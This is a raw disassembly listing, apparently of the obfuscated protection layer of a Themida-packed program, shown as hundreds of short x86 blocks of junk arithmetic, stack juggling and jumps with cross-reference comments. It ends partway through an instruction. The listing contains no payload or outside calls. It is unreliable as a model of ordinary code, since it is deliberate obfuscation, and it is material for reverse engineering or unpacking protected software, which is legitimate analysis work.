--------------------------------------------------------------------------- loc_5A37F4: ; CODE XREF: Themida_:005AD2EFj mov edx, [esp] jmp loc_5ADD7C ; --------------------------------------------------------------------------- loc_5A37FC: ; CODE XREF: Themida_:005A6121j add eax, ebp sub eax, 794C061Bh add eax, 69AA6793h jmp loc_5ACBCA ; --------------------------------------------------------------------------- loc_5A380D: ; CODE XREF: Themida_:005A4982j xor edi, 7DF812B5h jmp loc_5A4630 ; --------------------------------------------------------------------------- loc_5A3818: ; CODE XREF: Themida_:0059AB50j add esp, 4 jmp loc_598FAF ; --------------------------------------------------------------------------- loc_5A3820: ; DATA XREF: Themida_:00598820o lodsb sub al, 0C7h jmp loc_5AF846 ; --------------------------------------------------------------------------- loc_5A3828: ; CODE XREF: Themida_:005992F9j push eax mov eax, esp jmp loc_59BF75 ; --------------------------------------------------------------------------- loc_5A3830: ; CODE XREF: Themida_:0059FF31j ; Themida_:005AC2CFj pop esp add ebp, 4 xor ebp, [esp] jmp loc_5A3165 ; --------------------------------------------------------------------------- loc_5A383C: ; CODE XREF: Themida_:0059AA59j sub bh, ah pop eax sub al, bh mov ebx, [esp] jmp loc_59E9FC ; --------------------------------------------------------------------------- loc_5A3849: ; CODE XREF: Themida_:005A6582j pop ebx jmp loc_59ED65 ; --------------------------------------------------------------------------- loc_5A384F: ; CODE XREF: Themida_:0059D874j mov esi, 4 jmp loc_5A19A0 ; --------------------------------------------------------------------------- loc_5A3859: ; CODE XREF: Themida_:005A644Cj add dword ptr [esp], 4 pop dword ptr [esp] jmp loc_5AC3FC ; --------------------------------------------------------------------------- loc_5A3865: ; CODE XREF: Themida_:005A83F1j pop edi mov eax, 14881FFCh xor eax, ecx mov ecx, [esp] add esp, 4 push ebp mov ebp, eax jmp loc_5ABA80 ; --------------------------------------------------------------------------- loc_5A387E: ; CODE XREF: Themida_:0059FC78j add ebx, 59F00395h add ebx, edx sub ebx, 59F00395h pop edx push eax push ebx push 2 pop ebx mov eax, ebx pop ebx sub ebx, 1D533DADh add ebx, 4085115Fh add ebx, eax jmp loc_59E202 ; --------------------------------------------------------------------------- loc_5A38AB: ; CODE XREF: Themida_:005A376Aj add dword ptr [esp], 4 pop ebp jmp loc_5AEB40 ; --------------------------------------------------------------------------- loc_5A38B8: ; CODE XREF: Themida_:005AF0BAj add esp, 4 sub ebx, eax add ebx, 787619ABh push 587Dh mov [esp], esi mov esi, esp jmp loc_5AE214 ; --------------------------------------------------------------------------- loc_5A38D2: ; CODE XREF: Themida_:0059E561j jmp loc_59B813 ; --------------------------------------------------------------------------- loc_5A38D7: ; CODE XREF: Themida_:005A5098j add eax, edi push dword ptr [esp] pop edi sub esp, 4 mov [esp], edi jmp loc_5ACE5A ; --------------------------------------------------------------------------- loc_5A38E8: ; CODE XREF: Themida_:00599635j sub al, cl jmp loc_5AEB26 ; --------------------------------------------------------------------------- loc_5A38EF: ; CODE XREF: Themida_:005A60D8j push 786F1ECDh jmp loc_5A8EDE ; --------------------------------------------------------------------------- loc_5A38F9: ; CODE XREF: Themida_:005AB04Aj pop ecx push ebp mov ebp, 4 add ebx, ebp pop ebp xchg ebx, [esp] pop esp pop dword ptr [esp] jmp loc_5AE639 ; --------------------------------------------------------------------------- db 0B6h dd 0ADA3E940h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A3916: ; CODE XREF: Themida_:005AF148j push cx sub byte ptr [esp], 0FFh pop cx add cl, 0D3h xor al, cl pop ecx push dx mov dl, 0C8h jmp loc_5995D2 ; --------------------------------------------------------------------------- loc_5A392D: ; CODE XREF: Themida_:005ABD8Fj xchg edx, [esp] mov esp, [esp] add eax, 4 jmp loc_5A43CE ; --------------------------------------------------------------------------- loc_5A393D: ; CODE XREF: Themida_:005ABDC4j add eax, 0F8B52829h sub ebx, eax mov eax, [esp] add esp, 4 push edx jmp loc_5A897E ; --------------------------------------------------------------------------- loc_5A3953: ; CODE XREF: Themida_:005A10F0j add ebx, edx pop edx jmp loc_59ACFC ; --------------------------------------------------------------------------- loc_5A395B: ; CODE XREF: Themida_:005A96E9j mov esp, [esp] add [esp], ax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A3968: ; CODE XREF: Themida_:005AC7BDj add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx push 950h push esp pop dword ptr [esp] jmp loc_59D7CC ; --------------------------------------------------------------------------- loc_5A3986: ; CODE XREF: Themida_:0059DF21j xchg edx, ebx xchg eax, edx not eax xchg eax, edx jmp loc_59AAC5 ; --------------------------------------------------------------------------- loc_5A3991: ; CODE XREF: Themida_:0059DA24j and eax, edi jmp loc_5A507F ; --------------------------------------------------------------------------- loc_5A3998: ; CODE XREF: Themida_:loc_5A5FC5j inc edx jo loc_59A923 jmp loc_5A908C ; --------------------------------------------------------------------------- loc_5A39A4: ; CODE XREF: Themida_:0059EA3Bj push edx mov edx, 0C0D7721h shr edx, 6 neg edx neg edx jmp loc_59F8FA ; --------------------------------------------------------------------------- loc_5A39B6: ; CODE XREF: Themida_:005A28C4j push edx mov edx, esp jmp loc_59E8BC ; --------------------------------------------------------------------------- loc_5A39BE: ; CODE XREF: Themida_:005A36DCj shl edx, 1 push eax push ebx push 0FFFFFFFFh pop ebx mov eax, ebx push dword ptr [esp] pop ebx push ebx mov ebx, esp jmp loc_5A086C ; --------------------------------------------------------------------------- loc_5A39D6: ; CODE XREF: Themida_:005AD159j mov [esp], ebx jmp loc_59CEBD ; --------------------------------------------------------------------------- loc_5A39DE: ; CODE XREF: Themida_:005AB6CBj push edi jmp loc_5A281A ; --------------------------------------------------------------------------- loc_5A39E4: ; CODE XREF: Themida_:00598FE3j push ebx mov ebx, 7A5AF262h sub ebp, ebx pop ebx mov edx, ebp jmp loc_599A55 ; --------------------------------------------------------------------------- loc_5A39F4: ; CODE XREF: Themida_:005A8FAFj add ebp, 4 jmp loc_59E78A ; --------------------------------------------------------------------------- loc_5A39FF: ; CODE XREF: Themida_:005A37B6j pop edi xor edi, edx pop edx jmp loc_5A0008 ; --------------------------------------------------------------------------- loc_5A3A08: ; DATA XREF: Themida_:00598830o push dword ptr [edi+1Ch] push esi jmp loc_598D5C ; --------------------------------------------------------------------------- loc_5A3A11: ; CODE XREF: Themida_:005AE26Ej sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx push esi jmp loc_5A26CB ; --------------------------------------------------------------------------- loc_5A3A21: ; CODE XREF: Themida_:005ACA03j sub ebx, 361D163Bh jmp loc_5AB285 ; --------------------------------------------------------------------------- lodsb xor al, bl jmp loc_5AA9DB ; --------------------------------------------------------------------------- loc_5A3A34: ; CODE XREF: Themida_:0059D57Ej add al, 5Eh add al, 0ECh shr al, 7 jmp loc_5AA1F2 ; --------------------------------------------------------------------------- loc_5A3A40: ; CODE XREF: Themida_:005A0285j add cl, 0E0h shr cl, 2 sub cl, 9Dh add al, cl mov ecx, [esp] jmp loc_5AD20C ; --------------------------------------------------------------------------- loc_5A3A53: ; CODE XREF: Themida_:005ADBFCj shr ebp, 4 not ebp xor ebp, 0DFB9EC2Eh add edi, ebp jmp loc_5AD502 ; --------------------------------------------------------------------------- loc_5A3A65: ; CODE XREF: Themida_:0059CF93j ; Themida_:0059EBCEj xor ebp, 32C9C6F6h add ecx, ebp pop ebp add ebx, ecx pop ecx push dword ptr [esp] pop edx push 109Bh jmp loc_59E62C ; --------------------------------------------------------------------------- loc_5A3A7F: ; CODE XREF: Themida_:005A33E9j mov ebx, esp push edx jmp loc_5A7F46 ; --------------------------------------------------------------------------- loc_5A3A87: ; CODE XREF: Themida_:00599184j push 64B0h jmp loc_5A93E4 ; --------------------------------------------------------------------------- loc_5A3A91: ; CODE XREF: Themida_:005A503Bj ; Themida_:loc_5AD0FAj inc ecx neg ecx jnz loc_59E69C add ecx, 38C616FBh mov esi, ecx jmp loc_59CF62 ; --------------------------------------------------------------------------- loc_5A3AA7: ; CODE XREF: Themida_:0059C679j mov [esp], ecx push esp pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi push 340Dh mov [esp], ecx push edi mov edi, 8C22243h mov ecx, 40CF87B0h sub ecx, edi pop edi push esi push 14FD2FFDh mov esi, [esp] add esp, 4 sub esi, 5C0F0E83h shr esi, 7 jmp loc_5A61E8 ; --------------------------------------------------------------------------- loc_5A3AEF: ; CODE XREF: Themida_:0059B9EAj push ecx jmp loc_5AFE1C ; --------------------------------------------------------------------------- loc_5A3AF5: ; CODE XREF: Themida_:005A5A83j push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] pop esp mov cx, [esp] sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] jmp loc_5A6688 ; --------------------------------------------------------------------------- loc_5A3B26: ; CODE XREF: Themida_:005A1B66j pop ecx pop ebx add ecx, esi pop esi push edx mov edx, 4 add ecx, edx pop edx xchg ecx, [esp] pop esp mov cl, ah pop eax neg cl push dx jmp loc_59CB55 ; --------------------------------------------------------------------------- loc_5A3B44: ; CODE XREF: Themida_:005AF5E0j mov eax, [esp] add esp, 4 jmp loc_599FB0 ; --------------------------------------------------------------------------- loc_5A3B52: ; CODE XREF: Themida_:00598ADCj add eax, 4BF30CB1h jmp loc_5A2BBF ; --------------------------------------------------------------------------- loc_5A3B5C: ; CODE XREF: Themida_:005AD81Cj xor ebx, 21165EC7h shl ebx, 2 and ebx, 6DFA67ABh jmp loc_5A8DDD ; --------------------------------------------------------------------------- loc_5A3B70: ; CODE XREF: Themida_:loc_5A8DD8j shl ebp, 8 js loc_59A2E1 sub ebp, 0D7A68956h mov edx, ebp jmp loc_5A9F9A ; --------------------------------------------------------------------------- loc_5A3B86: ; CODE XREF: Themida_:005AD5C0j xor ebx, edx pop edx sub ebx, 76BA4DD8h xor ebx, 7AEB0E59h push 4149h jmp loc_5AD293 ; --------------------------------------------------------------------------- loc_5A3B9F: ; CODE XREF: Themida_:0059A378j ; Themida_:005A6D10j add ebp, 1 push 40FBh mov [esp], ebx push 3D2Eh mov [esp], ebp mov ebp, 11393A8Dh add ebp, 55574017h inc ebp not ebp jmp loc_599627 ; --------------------------------------------------------------------------- loc_5A3BC8: ; CODE XREF: Themida_:00598F6Fj push eax jmp loc_5AE875 ; --------------------------------------------------------------------------- loc_5A3BCE: ; CODE XREF: Themida_:005AE78Fj pop esi mov eax, [esp] jmp loc_59D0EE ; --------------------------------------------------------------------------- loc_5A3BD7: ; CODE XREF: Themida_:005A1E09j ; Themida_:005AC366j mov ebp, ebx pop ebx and edx, ebp pop ebp jmp loc_59EB96 ; --------------------------------------------------------------------------- loc_5A3BE2: ; CODE XREF: Themida_:005AEE9Ej sub esp, 4 mov [esp], edx push esp mov edx, [esp] add esp, 4 add edx, 4 push esi jmp loc_5A4F26 ; --------------------------------------------------------------------------- loc_5A3BFE: ; CODE XREF: Themida_:loc_5A0655j shl ebp, 5 jmp loc_59A57E ; --------------------------------------------------------------------------- loc_5A3C06: ; DATA XREF: Themida_:005986CCo mov ax, [esp] push edx push esp jmp loc_59B843 ; --------------------------------------------------------------------------- loc_5A3C11: ; CODE XREF: Themida_:loc_59A26Dj add ebp, 10561CBEh jbe loc_5AB755 shl ebp, 7 jmp loc_59D251 ; --------------------------------------------------------------------------- loc_5A3C25: ; CODE XREF: Themida_:005AF583j sub ebx, 0DB37344h push esi mov esi, 3B381144h shr esi, 8 and esi, 123E7AF0h jmp loc_59AB15 ; --------------------------------------------------------------------------- loc_5A3C3F: ; CODE XREF: Themida_:00599C33j add ebp, esi pop esi xchg ebp, [esp] mov esp, [esp] mov ax, [esp] jmp loc_5ADCBB ; --------------------------------------------------------------------------- loc_5A3C51: ; CODE XREF: Themida_:0059C5A1j or ch, 4Dh and ch, 96h and ch, 0ADh add ch, 1Bh xor bh, ch pop ecx jmp loc_5A40F3 ; --------------------------------------------------------------------------- loc_5A3C65: ; CODE XREF: Themida_:005AEABCj inc eax push ebx mov ebx, 126A572Fh add eax, ebx pop ebx sub ecx, 48D97944h add ecx, eax add ecx, 48D97944h jmp loc_5AA0F7 ; --------------------------------------------------------------------------- loc_5A3C82: ; CODE XREF: Themida_:0059AC5Ej sub edx, 14300631h add edx, ecx push ecx mov ecx, 216D54D7h add ecx, 0F2C2B15Ah add edx, ecx pop ecx sub edx, 7E4549A7h pop ecx add edx, 58360AEDh push edi mov edi, 1E631A2Eh sub edi, 50573430h jbe loc_599D00 inc edi push ebx mov ebx, 25A02D37h and edi, ebx pop ebx mov ch, ah mov dl, 25h loc_5A3CC6: ; CODE XREF: Themida_:005AD22Bj pop edi jmp loc_5A6A27 ; --------------------------------------------------------------------------- loc_5A3CCC: ; CODE XREF: Themida_:005A9039j xchg ebx, [esp] mov esp, [esp] mov [esp], ebp mov ebp, 68F806E2h not ebp inc ebp sub ebp, 9325F930h xor esi, ebp jmp loc_5A9702 ; --------------------------------------------------------------------------- loc_5A3CEA: ; CODE XREF: Themida_:005A563Bj pop edx add esi, 4 xchg esi, [esp] jmp loc_5A4C7C ; --------------------------------------------------------------------------- loc_5A3CF6: ; CODE XREF: Themida_:005A01DEj ; Themida_:005AE306j add eax, 8DB0938h add eax, 3D62375Dh sub eax, ebp jmp loc_5A0A4E ; --------------------------------------------------------------------------- loc_5A3D07: ; CODE XREF: Themida_:005AD025j mov [esp], edx mov edx, esp add edx, 4 jmp loc_5A4AE9 ; --------------------------------------------------------------------------- loc_5A3D17: ; CODE XREF: Themida_:005AD83Ej and ecx, 2336913h neg ecx jmp loc_5AFAE0 ; --------------------------------------------------------------------------- loc_5A3D24: ; CODE XREF: Themida_:005AE986j or eax, eax jnz loc_598BCE push edi push 58331958h push dword ptr [esp] jmp loc_5AD076 ; --------------------------------------------------------------------------- loc_5A3D3A: ; CODE XREF: Themida_:005ABB43j mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5A78F1 ; --------------------------------------------------------------------------- loc_5A3D52: ; CODE XREF: Themida_:0059FB07j pop eax jmp loc_5A9708 ; --------------------------------------------------------------------------- loc_5A3D58: ; CODE XREF: Themida_:005A800Cj push edi mov edi, 2 push 5FE4h jmp loc_5AAF1C ; --------------------------------------------------------------------------- loc_5A3D68: ; CODE XREF: Themida_:0059CC6Ej pop ecx sub esi, 773237E4h sub esi, eax add esi, 773237E4h add esi, 496359AAh mov eax, [esp] jmp loc_5A8A17 ; --------------------------------------------------------------------------- loc_5A3D85: ; CODE XREF: Themida_:005A5765j ; Themida_:005A9914j push edx mov edx, esp push ecx mov ecx, 4 add edx, ecx pop ecx add edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_5A8450 ; --------------------------------------------------------------------------- loc_5A3DA2: ; CODE XREF: Themida_:005A914Aj sub ebx, 6AA05C9Ah mov ebp, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx jmp loc_5AE844 ; --------------------------------------------------------------------------- loc_5A3DB9: ; CODE XREF: Themida_:005A6DE3j pop esp xchg ebp, [esp] pop esp push ebp mov ebp, 66440B30h shl ebp, 6 push esi mov esi, 49303CF3h neg esi sub esi, 42707D19h not esi shr esi, 1 xor esi, 0BA2FA2FAh sub ebp, esi pop esi push edx sub esp, 4 mov [esp], ebp jmp loc_5A9C41 ; --------------------------------------------------------------------------- loc_5A3DEE: ; CODE XREF: Themida_:0059FDC8j add ecx, 0F98B3C6Eh sub esp, 4 mov [esp], edx mov edx, 5FB5360Fh sub eax, edx pop edx push 4C5Bh jmp loc_5A31BF ; --------------------------------------------------------------------------- loc_5A3E0F: ; CODE XREF: Themida_:005ADAFFj pop ecx push ebx mov ebx, 515A47D7h push ebx jmp loc_59A089 ; --------------------------------------------------------------------------- loc_5A3E1C: ; CODE XREF: Themida_:005A440Bj add esp, 4 push ebx mov bl, ch jmp loc_59907A ; --------------------------------------------------------------------------- loc_5A3E2A: ; CODE XREF: Themida_:005A1C1Cj ; Themida_:005AC803j sub ch, al sub ch, 0F9h jmp loc_5A4E89 ; --------------------------------------------------------------------------- loc_5A3E34: ; CODE XREF: Themida_:0059B83Ej xor ebx, 9C527E9h xor eax, ebx pop ebx jmp loc_5A5294 ; --------------------------------------------------------------------------- loc_5A3E42: ; CODE XREF: Themida_:005A57CDj xor ebp, ecx push dword ptr [esp] pop ecx add esp, 4 not ebp push eax jmp loc_5A1ACD ; --------------------------------------------------------------------------- loc_5A3E56: ; CODE XREF: Themida_:005AC395j pop ecx add edx, ecx jmp loc_5A800B ; --------------------------------------------------------------------------- loc_5A3E5E: ; CODE XREF: Themida_:005A9831j pop eax xchg edi, [esp] jmp loc_599C84 ; --------------------------------------------------------------------------- loc_5A3E67: ; CODE XREF: Themida_:0059C8D3j pop ebp push edi mov edi, 7A3E3D61h add edx, 65AB7E2Dh sub edx, 2CC504ABh sub edx, edi add edx, 2CC504ABh jmp loc_5A3233 ; --------------------------------------------------------------------------- loc_5A3E87: ; CODE XREF: Themida_:005A8B83j mov edi, 305B7678h jmp loc_5AB398 ; --------------------------------------------------------------------------- loc_5A3E91: ; CODE XREF: Themida_:loc_5A1C78j ; Themida_:005ADD26j jmp loc_5A947B ; --------------------------------------------------------------------------- loc_5A3E96: ; CODE XREF: Themida_:005A56EEj add dword ptr [esp], 42371AA3h sub [esp], esi sub dword ptr [esp], 42371AA3h mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] neg esi sub esi, 59D00A58h sub ebp, esi mov esi, [esp] push 69ECh mov [esp], ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp xchg ebp, [esp] mov esp, [esp] mov [esp], ecx mov ecx, 1 push eax mov eax, 20h jmp loc_59E489 ; --------------------------------------------------------------------------- loc_5A3EFC: ; CODE XREF: Themida_:005AB666j mov ecx, 4 add esi, ecx pop ecx xchg esi, [esp] pop esp sub edx, 44112EB1h add edx, 2B423305h push edi mov edi, 61E41623h add edx, edi mov edi, [esp] add esp, 4 jmp loc_5ABC48 ; --------------------------------------------------------------------------- loc_5A3F2A: ; CODE XREF: Themida_:0059EE68j push 0FB4D04h pop ecx shr ecx, 7 jmp loc_598FF8 ; --------------------------------------------------------------------------- loc_5A3F38: ; CODE XREF: Themida_:005A8006j mov al, 9Eh dec al xor al, 49h sub bl, al mov eax, [esp] add esp, 4 jmp loc_5A414D ; --------------------------------------------------------------------------- loc_5A3F4B: ; CODE XREF: Themida_:005AD247j add edx, ebx pop ebx add ebx, edx jmp loc_5A84E8 ; --------------------------------------------------------------------------- loc_5A3F55: ; CODE XREF: Themida_:0059ED7Dj mov [esp], eax push 4 push dword ptr [esp] pop eax add esp, 4 sub esi, 7CBD66F1h add esi, eax add esi, 7CBD66F1h mov eax, [esp] add esp, 4 push 6FE8h mov [esp], eax sub esp, 4 jmp loc_599316 ; --------------------------------------------------------------------------- loc_5A3F8B: ; CODE XREF: Themida_:0059AFA4j ; Themida_:0059E870j shl eax, 6 sub eax, 0FBF1D9C2h mov ecx, eax mov eax, [esp] add esp, 4 and [edi+1Ch], ecx mov ecx, [esp] push edx jmp loc_59E53B ; --------------------------------------------------------------------------- loc_5A3FA7: ; CODE XREF: Themida_:0059BD10j mov ah, 45h xor ah, 0DEh jmp loc_5AD05C ; --------------------------------------------------------------------------- loc_5A3FB1: ; CODE XREF: Themida_:0059AD5Cj inc edi or edi, 1312144Bh add edi, 0E8449697h jmp loc_5AC84C ; --------------------------------------------------------------------------- loc_5A3FC3: ; CODE XREF: Themida_:005AD30Fj mov dl, 39h sub al, dl pop dx add al, cl add al, 39h push dword ptr [esp] pop ecx push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5A4CD2 ; --------------------------------------------------------------------------- loc_5A3FE5: ; CODE XREF: Themida_:0059B2CDj add edi, 0FD05424Ch add [esp+4], edi mov edi, [esp] add esp, 4 jmp loc_59A5BB ; --------------------------------------------------------------------------- loc_5A3FFD: ; CODE XREF: Themida_:005AD184j push ebp jmp loc_5A2E58 ; --------------------------------------------------------------------------- loc_5A4003: ; CODE XREF: Themida_:00599E78j add eax, edx pop edx push ebx mov ebx, 4 add eax, ebx pop ebx xchg eax, [esp] mov esp, [esp] push 252Ah jmp loc_599265 ; --------------------------------------------------------------------------- loc_5A401F: ; CODE XREF: Themida_:0059FDF0j push 74BC6D6Dh mov esi, [esp] push edi mov edi, esp jmp loc_59989C ; --------------------------------------------------------------------------- loc_5A402F: ; CODE XREF: Themida_:005AE2BEj push edi mov edi, 5CA51A36h add edi, 71E51FB2h push ebx mov ebx, 7F224296h dec ebx add ebx, 58B005Dh not ebx xor ebx, 2F5632Bh dec ebx jmp loc_5A25A9 ; --------------------------------------------------------------------------- loc_5A4056: ; CODE XREF: Themida_:005AAF89j add edx, 0FFFFFFFFh jmp loc_5ABF63 ; --------------------------------------------------------------------------- loc_5A405E: ; CODE XREF: Themida_:005AB251j add ebp, 4 xchg ebp, [esp] pop esp add ebp, 4 push 50B7h mov [esp], ecx mov ecx, 4 add ebp, 7DA348EBh add ebp, ecx sub ebp, 7DA348EBh jmp loc_5AFC96 ; --------------------------------------------------------------------------- loc_5A408E: ; CODE XREF: Themida_:005A3709j push 7834h mov [esp], ebp push esp jmp loc_59D188 ; --------------------------------------------------------------------------- loc_5A409C: ; CODE XREF: Themida_:005A4BA4j add edi, 65DF1877h jmp loc_59C728 ; --------------------------------------------------------------------------- loc_5A40A7: ; CODE XREF: Themida_:0059D589j push esi mov esi, 4E436415h add ebp, esi pop esi pop ebx add ebp, 2 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov cx, [esp] push ebx mov ebx, esp push 7B00h mov [esp], edx mov edx, 4 push 6E48h jmp loc_5A5E21 ; --------------------------------------------------------------------------- loc_5A40DF: ; CODE XREF: Themida_:005A616Bj mov eax, [esp] jmp loc_5AD422 ; --------------------------------------------------------------------------- loc_5A40E7: ; CODE XREF: Themida_:005A6A67j push esp pop ebp push 4C53h jmp loc_5A47B6 ; --------------------------------------------------------------------------- loc_5A40F3: ; CODE XREF: Themida_:005A3C60j not bh jmp loc_5A9936 ; --------------------------------------------------------------------------- loc_5A40FA: ; CODE XREF: Themida_:0059F49Aj pop ecx loc_5A40FB: ; CODE XREF: Themida_:00599EE3j push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebx xor dword ptr [esp], 5EF87A69h jmp loc_59EBFE ; --------------------------------------------------------------------------- loc_5A411A: ; CODE XREF: Themida_:005A23EEj jmp loc_5AC200 ; --------------------------------------------------------------------------- loc_5A411F: ; CODE XREF: Themida_:005ADF59j push 31B9h mov [esp], eax push ecx push edx push ebx mov bh, 47h mov dh, 80h sub dh, bh pop ebx jmp loc_5A98DA ; --------------------------------------------------------------------------- loc_5A4136: ; CODE XREF: Themida_:0059A17Dj jmp loc_5A97BD ; --------------------------------------------------------------------------- loc_5A413B: ; CODE XREF: Themida_:005A8DB8j mov edi, 5F3518EBh add edx, edi mov edi, [esp] add esp, 4 jmp loc_5AD403 ; --------------------------------------------------------------------------- loc_5A414D: ; CODE XREF: Themida_:005A3F46j push ax mov ah, 0B5h xor bl, ah mov ax, [esp] add esp, 2 add bl, 1Dh jp loc_5AB221 push edx mov dh, 45h jmp loc_5A0800 ; --------------------------------------------------------------------------- neg cl mov cl, dl pop esi loc_5A4170: ; CODE XREF: Themida_:005A819Cj sub ebx, 4 xchg ebx, [esp] jmp loc_5A8CE5 ; --------------------------------------------------------------------------- loc_5A417E: ; CODE XREF: Themida_:005A0404j pop esi pop dword ptr [esp] pop esp mov [esp], ecx mov ecx, 324872BFh xor [esp+4], ecx pop ecx push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], edi jmp loc_5A6274 ; --------------------------------------------------------------------------- loc_5A41A7: ; CODE XREF: Themida_:00599A50j push 1889h mov [esp], edi push 1 pop edi and eax, edi push dword ptr [esp] jmp loc_5AB94D ; --------------------------------------------------------------------------- loc_5A41BF: ; CODE XREF: Themida_:0059B2C4j shr edi, 5 jp loc_5A2B1D add edi, 0FD05424Ch add [esp+4], edi mov edi, [esp] loc_5A41D5: ; CODE XREF: Themida_:005989ACj push ecx mov cl, 57h neg cl js loc_5A71E9 dec cl jno loc_59ABC4 jns loc_5A67CA pop ebp loc_5A41EF: ; CODE XREF: Themida_:005A7E00j mov [esp], ebx mov ebx, 46F31DD8h mov edx, 95332158h sub edx, ebx pop ebx mov ecx, edx jmp loc_5A016E ; --------------------------------------------------------------------------- loc_5A4206: ; CODE XREF: Themida_:005AC814j dec edi add edi, 0FFFFFFFFh xor edi, 0C6F88E8Dh jmp loc_5A67CA ; --------------------------------------------------------------------------- loc_5A4215: ; CODE XREF: Themida_:005A6477j pop ebp add esp, 4 pop eax add ecx, edi push dword ptr [esp] mov edi, [esp] add esp, 4 push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_5A5AD3 ; --------------------------------------------------------------------------- loc_5A423F: ; CODE XREF: Themida_:0059D61Cj mov cl, bl pop ebx mov [edi+28h], cl pop ecx push dword ptr [esp] pop edx jmp loc_5A8581 ; --------------------------------------------------------------------------- loc_5A424F: ; CODE XREF: Themida_:0059EF6Aj ; Themida_:005A2999j or edi, 66A41D19h jns loc_5A2441 jmp loc_5AE050 ; --------------------------------------------------------------------------- push dword ptr [esp] pop edi mov dl, bh loc_5A4266: ; CODE XREF: Themida_:005A879Dj mov [esp], edx push ebp mov ebp, 1C4E01F6h mov edx, ebp jmp loc_5AF6F7 ; --------------------------------------------------------------------------- loc_5A4276: ; CODE XREF: Themida_:0059F64Dj shl ecx, 4 xor ecx, 0F9F4C272h xor ebx, ecx push dword ptr [esp] pop ecx push ecx mov ecx, esp jmp loc_59F876 ; --------------------------------------------------------------------------- loc_5A428D: ; CODE XREF: Themida_:005AF42Cj pop esp jmp loc_5A8820 ; --------------------------------------------------------------------------- mov ax, [esp] push 7EDDh mov [esp], ebp push ebx mov ebx, esp add ebx, 4 push eax mov eax, 4 sub ebx, eax pop eax xchg ebx, [esp] mov esp, [esp] mov [esp], esp push esi push eax mov eax, 23393512h mov esi, 23393516h jmp loc_59C5B7 ; --------------------------------------------------------------------------- loc_5A42CB: ; CODE XREF: Themida_:005A58D6j jo loc_59E349 xor edx, 6AAB78A0h jnz loc_5A0180 jmp loc_5AC92C ; --------------------------------------------------------------------------- push esp pop ebp jmp loc_5A4A00 ; --------------------------------------------------------------------------- pop esp add al, 0ABh loc_5A42EC: ; CODE XREF: Themida_:005ADA67j sub dl, bh jmp loc_59C337 ; --------------------------------------------------------------------------- loc_5A42F3: ; CODE XREF: Themida_:005A0A64j ; Themida_:005A148Bj mov edi, [esp] add esp, 4 jmp loc_5A1DD2 ; --------------------------------------------------------------------------- loc_5A42FE: ; CODE XREF: Themida_:0059A7F0j ; Themida_:0059C517j ... push esi push eax push 4 jmp loc_59D094 ; --------------------------------------------------------------------------- loc_5A430A: ; CODE XREF: Themida_:0059D676j add bl, 8Ah movzx eax, al lea eax, [edi+eax*4] sub esp, 4 mov [esp], edi jmp loc_5A9B35 ; --------------------------------------------------------------------------- loc_5A431E: ; CODE XREF: Themida_:005A47D2j xor esi, 718174BCh mov ebx, esi pop esi neg ebx neg ebx jge loc_59906F add ebx, 7F4061E4h mov bl, 0C8h pop esp loc_5A433B: ; CODE XREF: Themida_:005AB960j xchg eax, [esp] pop esp push edi jmp loc_5A7295 ; --------------------------------------------------------------------------- loc_5A4345: ; CODE XREF: Themida_:005A3662j pop edi add edi, 4 push esi mov esi, 4 jmp loc_5AE9EC ; --------------------------------------------------------------------------- loc_5A4357: ; CODE XREF: Themida_:005ABF98j push 1716h mov [esp], esi push edx mov edx, 294B0B40h sub edx, 294B0B3Ch mov esi, edx pop edx add [esp+4], esi jmp loc_5A1622 ; --------------------------------------------------------------------------- loc_5A4377: ; CODE XREF: Themida_:005A9C8Aj mov edi, esp push eax jmp loc_5A9315 ; --------------------------------------------------------------------------- loc_5A437F: ; CODE XREF: Themida_:005A4FEFj add esp, 4 neg eax jp loc_5A5AB5 xor eax, 6FF97FBAh jmp loc_5AA24C ; --------------------------------------------------------------------------- pop ecx loc_5A4398: ; CODE XREF: Themida_:005A2724j push 663549h pop ebx xor ebx, 4FDF7205h jnz loc_59CB69 and ebx, 9083636h add ebx, 0F6F7FA00h mov ecx, ebx loc_5A43B8: ; CODE XREF: Themida_:005A69B4j push ebx jmp loc_5A1D39 ; --------------------------------------------------------------------------- loc_5A43BE: ; CODE XREF: Themida_:005A12CAj shr cl, 4 js loc_59E8F5 neg cl jmp loc_5A9A2B ; --------------------------------------------------------------------------- loc_5A43CE: ; CODE XREF: Themida_:005A3938j push 6D9Bh mov [esp], ebx jmp loc_5ABD94 ; --------------------------------------------------------------------------- loc_5A43DB: ; CODE XREF: Themida_:0059FDC2j ; Themida_:005A0A17j mov edi, [esp] jmp loc_5A4C60 ; --------------------------------------------------------------------------- loc_5A43E3: ; CODE XREF: Themida_:0059D8ACj xor bh, 93h jmp loc_5ACC82 ; --------------------------------------------------------------------------- loc_5A43EB: ; CODE XREF: Themida_:0059F0D6j push 6F9Bh mov [esp], eax push ebx push eax mov ah, dl mov bl, ah pop eax mov al, bl pop ebx mov ch, al push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_5A3E1C ; --------------------------------------------------------------------------- loc_5A4410: ; CODE XREF: Themida_:00599EADj pop esi add esp, 4 sub esp, 4 mov [esp], eax jmp loc_59DCB6 ; --------------------------------------------------------------------------- loc_5A4422: ; CODE XREF: Themida_:005A0187j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push dword ptr [esp] push dword ptr [esp] pop 